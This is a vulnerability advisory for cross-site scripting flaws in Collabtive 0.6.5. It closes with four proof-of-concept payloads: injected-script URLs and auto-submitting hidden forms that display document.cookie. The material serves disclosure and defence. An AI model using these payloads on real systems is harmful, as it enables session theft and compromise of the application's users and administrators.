Vulnerability ID: HTB22906 Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_collabtive.html Product: Collabtive Vendor: Open Dynamics ( http://collabtive.o-dyn.de/ ) Vulnerable Version: 0.6.5 and probably prior versions Vendor Notification: 17 March 2011 Vulnerability Type: XSS Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "managetimetracker.php", "manageproject.php", "manageuser.php", "admin.php" scripts to properly sanitize user-supplied input in "id", "name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: 1. http://host/managetimetracker.php?action=editform&tid=1&id=1"><script>alert(document.cookie)</script> 2. http://host/manageuser.php?action=profile&id=1"><script>alert(document.cookie)</script> 3. <form action="http://host/manageproject.php?action=edit&id=1" method="post" name="main"> <input type="hidden" name="name" value='test"><script>alert(document.cookie)</script>'> <input type="hidden" name="desc" value="Description"> <input type="hidden" name="end" value="16.03.2011"> </form> <script> document.main.submit(); </script> 4. <form action="http://host/admin.php?action=editsets" method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="name" value='Collabtive"><script>alert(document.cookie)</script>'> <input type="hidden" name="subtitle" value="Projectmanagement"> <input type="hidden" name="locale" value="en"> <input type="hidden" name="timezone" value="Europe/Zurich"> <input type="hidden" name="rssuser" value=""> <input type="hidden" name="rsspass" value=""> <input type="hidden" name="dateformat" value="d.m.Y"> <input type="hidden" name="template" value="standard"> </form> <script> document.main.submit(); </script>